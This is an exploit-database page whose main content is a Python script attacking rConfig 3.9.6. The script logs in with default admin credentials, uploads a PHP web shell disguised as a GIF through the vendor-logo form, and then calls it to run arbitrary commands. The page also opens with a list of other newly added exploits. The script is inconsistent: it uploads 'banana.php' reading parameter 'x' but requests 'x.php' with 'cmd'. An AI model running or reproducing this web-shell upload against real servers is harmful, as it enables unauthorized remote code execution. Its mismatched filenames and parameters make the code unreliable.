7fa85628bd
19 changes to exploits/shellcodes Hasura GraphQL 1.3.3 - Denial of Service Tenda D151 & D301 - Configuration Download (Unauthenticated) rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1) Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access) Fast PHP Chat 1.3 - 'my_item_search' SQL Injection WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS) BlackCat CMS 1.3.6 - 'Multiple' Stored Cross-Site Scripting (XSS) Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS) rconfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (2) OpenEMR 5.0.2.1 - Remote Code Execution Adtran Personal Phone Manager 10.8.1 - 'emailAddress' Stored Cross-Site Scripting (XSS) Adtran Personal Phone Manager 10.8.1 - 'Multiple' Reflected Cross-Site Scripting (XSS) Adtran Personal Phone Manager 10.8.1 - DNS Exfiltration GravCMS 1.10.7 - Unauthenticated Arbitrary YAML Write/Update (Metasploit) Hasura GraphQL 1.3.3 - Local File Read Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
44 lines
No EOL
3 KiB
Python
Executable file
44 lines
No EOL
3 KiB
Python
Executable file
# Exploit Title: rconfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (2)
|
|
# Exploit Author: Vishwaraj Bhattrai
|
|
# Date: 18/04/2021
|
|
# Vendor Homepage: https://www.rconfig.com/
|
|
# Software Link: https://www.rconfig.com/
|
|
# Vendor: rConfig
|
|
# Version: <= v3.9.6
|
|
# Tested against Server Host: Linux+XAMPP
|
|
|
|
import requests
|
|
import sys
|
|
s = requests.Session()
|
|
|
|
host=sys.argv[1] #Enter the hostname
|
|
cmd=sys.argv[2] #Enter the command
|
|
|
|
def exec_cmd(cmd,host):
|
|
print "[+]Executing command"
|
|
path="https://%s/images/vendor/x.php?cmd=%s"%(host,cmd)
|
|
response=requests.get(path)
|
|
print response.text
|
|
print "\n[+]You can access shell via below path"
|
|
print path
|
|
|
|
def file_upload(cmd,host):
|
|
print "[+]Bypassing file upload"
|
|
burp0_url = "https://"+host+":443/lib/crud/vendors.crud.php"
|
|
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------3835647072299295753759313500", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/vendors.php", "Upgrade-Insecure-Requests": "1"}
|
|
burp0_cookies = {"_ga": "GA1.2.71516207.1614715346", "PHPSESSID": ""}
|
|
burp0_data = "-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"vendorName\"\r\n\r\nCisco2\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"vendorLogo\"; filename=\"banana.php\"\r\nContent-Type: image/gif\r\n\r\n<?php $cmd=$_GET['x'];system($cmd);?>\n\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"add\"\r\n\r\nadd\r\n-----------------------------3835647072299295753759313500\r\nContent-Disposition: form-data; name=\"editid\"\r\n\r\n\r\n-----------------------------3835647072299295753759313500--\r\n"
|
|
requests.post(burp0_url, headers=burp0_headers, cookies=s.cookies,data=burp0_data)
|
|
exec_cmd(cmd,host)
|
|
|
|
|
|
def login(host,cmd):
|
|
print "[+]Logging in"
|
|
burp0_url = "https://"+host+":443/lib/crud/userprocess.php"
|
|
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/login.php", "Upgrade-Insecure-Requests": "1"}
|
|
|
|
burp0_data = {"user": "admin", "pass": "admin", "sublogin": "1"} #Use valid set of credentials default is set to admin/admin
|
|
response=s.post(burp0_url, headers=burp0_headers, cookies=s.cookies, data=burp0_data)
|
|
file_upload(cmd,host)
|
|
|
|
login(host,cmd) |